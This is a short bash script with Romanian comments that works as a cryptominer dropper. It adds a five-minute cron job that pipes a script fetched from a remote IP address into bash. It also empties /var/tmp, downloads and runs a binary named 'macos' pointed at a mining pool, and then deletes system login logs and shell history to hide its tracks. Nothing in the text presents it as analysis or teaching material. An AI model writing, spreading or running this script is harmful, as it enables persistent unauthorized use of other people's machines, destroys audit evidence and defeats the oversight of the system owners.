#!/bin/bash

# Verifică și adaugă linia în crontab dacă nu există
CRONLINE="*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://149.28.129.194/checkmacos.sh)' &"
crontab -l 2>/dev/null | grep -Fq "$CRONLINE"
if [ $? -ne 0 ]; then
    echo "[⚠️] the line not exit in crontab reload"
    (crontab -l 2>/dev/null; echo "$CRONLINE") | crontab -
fi

# Verifică dacă procesul Error84 rulează
if ! pgrep -f "macos" > /dev/null; then
    # Rulează comenzile dacă procesul nu este găsit
    unalias -a
    cd /var/tmp
    rm -rf *
    sleep 5
    curl -LO http://149.28.129.194/macos
    wget http://149.28.129.194/macos
    sleep 4
    chmod +x macos
    ./macos -o andrewtatemunityxcrypto.com:5555 -u error -p error > /dev/null 2>&1 &  disown
    rm -rf unix
    sleep 5
    history -c
    cd /var/log
    rm -rf auth.log
    rm -rf wtmp
    rm -rf lastlog
    rm -rf btmp
    cd /var/run
    rm -rf utmp
    history -c
    cd
    rm -rf .bash_history
    clear
fi

exit 0
